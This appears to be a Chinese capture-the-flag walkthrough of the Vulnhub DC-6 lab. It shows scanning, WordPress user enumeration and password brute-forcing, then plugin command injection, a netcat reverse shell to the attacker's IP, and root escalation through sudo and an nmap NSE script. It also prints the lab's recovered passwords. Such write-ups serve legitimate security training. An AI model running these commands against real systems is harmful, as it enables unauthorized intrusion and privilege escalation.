一、环境搭建

攻击机:Kali-2021.3:192.168.11.132

靶机:Vulnhub-DC-6:192.168.11.140

二、信息收集

主机探活

1
nmap -sP 192.168.11.0/24

扫描目标端口

1
nmap -A -p- 192.168.11.140

发现开启了80端口,同时发现CMS是WordPress

先尝试访问,发现会自动跳转到域名wordy

因此修改一下hosts文件,加入内容:192.168.11.140 wordy

保存即可,再次访问即可访问成功

既然已经知道CMS是WordPress了,那就直接用wpscan开始扫描

列举用户名

1
wpscan --url http://wordy/ --enumerate u

成功找到五个用户

将五个用户名存入txt

1
echo -e "admin \njens \ngraham \nmark \nsarah" > users.txt

在DC-6的官网中有个提示

因此这个很有可能就是我们需要的密码

进入目录,发现还未解压,那么就解压一下

参考解压方式:

  1. *.tartar –xvf解压
  2. *.gzgzip -d或者gunzip 解压
  3. *.tar.gz*.tgztar –xzf解压
  4. *.bz2 bzip2 -d或者用bunzip2 解压
  5. *.tar.bz2tar –xjf 解压
  6. *.Z uncompress解压
  7. *.tar.Z tar –xZf 解压
  8. *.rar unrar e解压
  9. *.zip unzip解压
  10. *.xz xz -d解压
  11. *.tar.xz tar -zJf解压
1
gzip -d rockyou.txt.gz > rockyou.txt

然后根据提示将这个密码中关于"k01"部分的密码复制出来

1
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

三、实战

漏洞利用

通过信息收集我们得到了用户名和密码,那么就能通过wpscan尝试暴力破解

1
wpscan --url http://wordy/ -U users.txt -P passwords.txt

得到账号密码:

mark / helpdesk01

然后用dirsearch找一下后台登录入口

1
python3 dirsearch.py -u http://192.168.11.140

登录mark的账号

寻找一下有没有利用点

然后在Activity monitor → Tools"Lookup"里发现有命令执行漏洞

反弹shell

那接下来就反弹一下shell吧,因为在网页里命令的长度受到了限制,因此我们可以用burp抓个包,然后写入命令

开启监听:

1
nc -lvp 2222

反弹shell:

1
nc -e /bin/bash 192.168.11.132 2222

最后再用python换成交互shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

提权

尝试能不能suid提权,但并没有好的利用点

1
find / -perm -4000 -print 2>/dev/null

尝试免密使用的root命令,但需要密码,并不行

1
sudo -l

那么就找找信息吧,进入到home目录,发现在mark → stuff里有另一个用户graham的密码

graham / GSo7isUM1D4

切换用户

1
su graham

再次尝试suid提权,但和上一个用户一样没什么可用的

查看免密使用的root权限命令,发现存在一个可以通过jens的身份去使用的备份文件

那么接下来的思路就是在这个备份文件中写入/bin/bash然后以jens运行这个sh文件即可得到目标shell

写入/bin/bash

1
echo "/bin/bash" >> backups.sh

以jens身份运行得到shell

1
sudo -u jens ./backups.sh

成功得到jens用户的shell

叒尝试suid提权,一样没有利用点

查看免密使用的root权限命令,似乎有机会

查看一下nmap提权,分两种情况

  1. SUID,那就直接提权

    1
    nmap --interactive
  2. 只有单个用户被分配有root权限

    1
    2
    echo "os.execute('/bin/bash')" > shell.nse
    sudo nmap --script=shell.nse

    os.execute和C语言中的system()命令是一样的

    --script是指出nmap所要执行的脚本文件

在我们这里很明显是第二种情况

提权成功,拿到flag

参考文章

dc-6 靶机渗透学习

Linux通过第三方应用提权实战总结

nmap提权几种方式